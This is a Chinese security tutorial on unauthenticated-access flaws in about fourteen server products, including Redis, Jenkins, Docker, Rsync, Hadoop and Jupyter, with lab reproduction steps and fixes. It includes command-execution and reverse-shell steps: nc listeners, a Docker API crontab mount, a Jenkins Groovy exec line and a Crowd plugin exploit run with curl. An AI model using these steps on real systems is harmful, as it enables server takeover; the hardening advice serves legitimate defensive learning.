本文主要介绍和学习关于“未授权访问”漏洞;从字面了解到“未授权”指的是部署的系统未启用认证功能而被直接访问/操作的安全隐患/漏洞。
感谢前人大佬整理,内容参考网上大佬文章整理,您也可直接看这里.漏洞环境参考Vulhub,部分环境根据漏洞影响范围来选择安装和搭建.
准备
1 | 以下环境基本基于centos 7虚拟机部署检测完成。 |
Redis未授权访问
漏洞描述
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。
漏洞验证
0、环境搭建
1 | wget http://download.redis.io/releases/redis-2.8.17.tar.gz |
1、连接Redis
本地可下载客户端进行连接Redis进行getshell等操作
1 | 攻击机执行nc监听 |
还有其他方式进行反弹shell可网上参考
漏洞修复
1、限制登录ip
2、添加密码
3、修改默认端口
MongoDB 未授权访问
漏洞描述
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。
造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 –auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。
漏洞验证
0、环境搭建
1 | //镜像搜索 |
1、NoSQLBooster连接
漏洞修复
1、MongoDB添加认证:MongoDB启动时添加–auth参数、为MongoDB添加用户
2、启动时加入参数–bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1
Jenkins 未授权访问
漏洞描述
默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。
漏洞验证
0、环境搭建
1 | //安装并启动Jenkins服务 |
1、浏览器访问
1 | http://172.16.144.142:8089/login?from=%2F |
2、未授权访问
1 | //系统 |
3、执行命令
1 | println "whoami".execute().text |
漏洞修复
1、版本升级
2、添加认证,设置强密码复杂度及账号锁定
3、禁止把Jenkins直接暴露在公网
Memcached 未授权访问
漏洞描述
Memcached是一个自由开源的,高性能,分布式内存对象缓存系统。
Memcached是一种基于内存的key-value存储,用来存储小块的任意数据(字符串、对象)。这些数据可以是数据库调用、API调用或者是页面渲染的结果。
Memcached简洁而强大。它的简洁设计便于快速开发,减轻开发难度,解决了大数据量缓存的很多问题。它的API兼容大部分流行的开发语言。
本质上,它是一个简洁的key-value存储系统。
一般的使用目的是,通过缓存数据库查询结果,减少数据库访问次数,以提高动态Web应用的速度、提高可扩展性。
漏洞验证
0、环境搭建
1 | //安装 |
1、telnet连接
1 | telnet 172.16.144.142 11211 |
2、nmap检测
1 | nmap -p 11211 --script memcached-info 172.16.144.142 |
漏洞修复
-设置Memchached只允许本地访问
1 | OPTIONS="-l 127.0.0.1" //只允许本地访问 |
-禁止外网访问Memcached 11211端口
JBOSS 未授权访问
漏洞描述
JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console
就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。
漏洞验证
可参考JBoss漏洞介绍部分
1、URL访问
1 | http://172.16.144.157:8080/ |
2、访问JMX Console
1 | //或直接访问这个地址 |
3、部署远程war
1 | 输入远程构造好的war的URL并点击“Invoke” |
漏洞修复
1、jmx控制页面访问添加访问验证
2、JMX Console 安全配置
VNC 未授权访问
漏洞描述
VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。
漏洞验证
0、环境搭建
1 | 需要用gnome桌面,如果服务器安装时使用的最小化安装,那么进行下面操作按章GNOME 桌面 |
1 | yum install tigervnc-server -y |
1、端口检测
1 | netstat -ant | grep 5901 |
2、取消鉴权
1 | //先停掉服务 |
漏洞修复
1、添加用户认证
2、以最小普通权限身份运行操作系统
Docker 未授权访问
漏洞描述
Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
漏洞验证
0、环境搭建
1 | //pip安装 |
1、未授权访问
1 | //nmap端口检测 |
2、反弹shell
1 | nc -lvnp 9999 |
启动容器
1 | docker -H tcp://172.16.144.135:2375 run -id -v /etc/crontabs:/tmp alpine:latest |
反弹成功
3、未授权访问检测
1 | //此脚本可以检测未授权访问漏洞,反弹shell未实验 |
漏洞修复
1、2375端口做网络访问控制
2、修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。
ZooKeeper 未授权访问
漏洞描述
Zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。
漏洞验证
0、环境搭建
1 | wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz |
1、未授权访问
1 | echo envi|nc 172.16.144.135 2181 |
2、ZooKeeper可视化
1 | https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip |
漏洞修复
1、修改 ZooKeeper 默认端口,采用其他端口服务
2、添加访问控制,配置服务来源地址限制策略
3、增加 ZooKeeper 的认证配置
Rsync 未授权访问
漏洞描述
Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837
。
漏洞验证
0、环境搭建
1 | //下载项目 |
1、未授权检测
1 | rsync rsync://{target_ip}/ |
2、反弹shell
1 | 下载crontab配置文件 |
1 | 写入bash并赋权 |
1 | 本地监听9999 |
漏洞修复
1、账户认证:正确配置认证用户名及密码
2、权限控制:使用合理的权限
3、网络访问控制:控制接入源ip
4、数据加密传输等
Atlassian Crowd 未授权访问
漏洞描述
Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。
漏洞验证
0、环境搭建
1 | wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip |
执行“Set up Crowd”
申请30天试用license
1 | https://my.atlassian.com/license/evaluation?utm_nooverride=1&product=Crowd&version=3.4.3&sid=Server ID&ref=prod |
如下图所示:安装成功
1、未授权测试
1 | ➜ Atlassian git clone https://github.com/jas502n/CVE-2019-11580.git |
1 | ➜ CVE-2019-11580 git:(master) curl http://172.16.144.135:8095//crowd/plugins/servlet/exp\?cmd\=id |
漏洞修复
1、设置访问/crowd/admin/uploadplugin.action的源ip
2、版本升级
CouchDB 未授权访问
漏洞描述
Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984
端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。
在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生
漏洞验证
0、环境搭建
1 | mkdir couchdb |
1、未授权访问
1 | curl http://127.0.0.1:5984 |
漏洞修复
1、添加认证入口
Elasticsearch 未授权访问
漏洞描述
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。
Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
漏洞验证
0、环境搭建
1 | ElasticSearch必须jdk8 |
1、未授权访问
1 | curl 127.0.0.1:9200 |
1 | curl http://172.16.144.135:9200/_nodes |
漏洞修复
1、访问控制策略,限制IP访问,绑定固定IP
2、在config/elasticsearch.yml中为9200端口设置认证等
Hadoop 未授权访问
漏洞描述
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
Hadoop是一个开源的框架,可编写和运行分布式应用处理大规模数据,是专为离线和大规模数据分析而设计的,并不适合那种对几个记录随机读写的在线事务处理模式。Hadoop=HDFS(文件系统,数据存储技术相关)+ Mapreduce(数据处理),Hadoop的数据来源可以是任何形式,在处理半结构化和非结构化数据上与关系型数据库相比有更好的性能,具有更灵活的处理能力,不管任何数据形式最终会转化为key/value,key/value是基本数据单元。
漏洞验证
0、环境搭建
1 | //拉取docker-compose |
1、未授权访问
1 | http://172.16.144.139:8088/cluster |
2 、命令执行
本地监听端口,并执行以下exp脚本。
exp.py
1 | #!/usr/bin/env python |
3、反弹shell
漏洞修复
1、如无必要,关闭 Hadoop Web 管理页面
2、开启身份验证,防止未经授权用户访问
3、设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。
Jupyter Notebook 未授权访问
漏洞描述
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。
漏洞验证
0、环境搭建
1 | wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml |
1、未授权访问
1 | http://172.16.144.139:8888/ |
2、命令执行
1 | http://172.16.144.139:8888/terminals/1 |
漏洞修复
1、开启身份验证,防止未经授权用户访问
2、访问控制策略,限制IP访问,绑定固定IP
监听端口
以上未授权漏洞程序默认监听端口情况如下:
1 | Reids : 6379 |
参考
1 | https://xz.aliyun.com/t/6103#toc-4 |
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章